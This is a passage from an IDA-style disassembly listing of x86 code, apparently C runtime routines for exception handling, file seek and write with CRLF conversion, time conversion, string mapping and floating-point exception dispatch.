dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB358 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8F4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC948 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC944 nop call near ptr 266102Eh loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CDBC[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCD8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCDC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCE0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC700 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB2A8, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2780000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 2680930h jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC600[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB2A8, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC700 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 26F0000h nop test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB2A8, 9 mov dword_4DB2AC, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 2680930h mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 26F0000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j call near ptr 2680930h nop mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB2A8, 1Ch mov dword_4DB2AC, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB37C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi call near ptr 2650000h nop test eax, eax jz short loc_422B1E mov dword_4DB37C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE5C push esi push edi call near ptr 2660000h nop test eax, eax jz loc_422C58 mov dword_4DB37C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB37C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2660000h nop jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2830000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2830000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2821363h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB380 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB380, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C970 mov edx, dword_43C974 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C900h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C97C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C97C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C97C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C97C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C97C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C97C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C97C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C97C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C97C push 8 call ebx pop ecx mov dword_43C97C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB380, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] nop call near ptr 2640000h loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C978 cmp dword_43C8F8, edx push esi mov eax, offset dword_43C8F8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8F8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8F8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC954, 0 jnz short loc_422E80 call sub_42026D 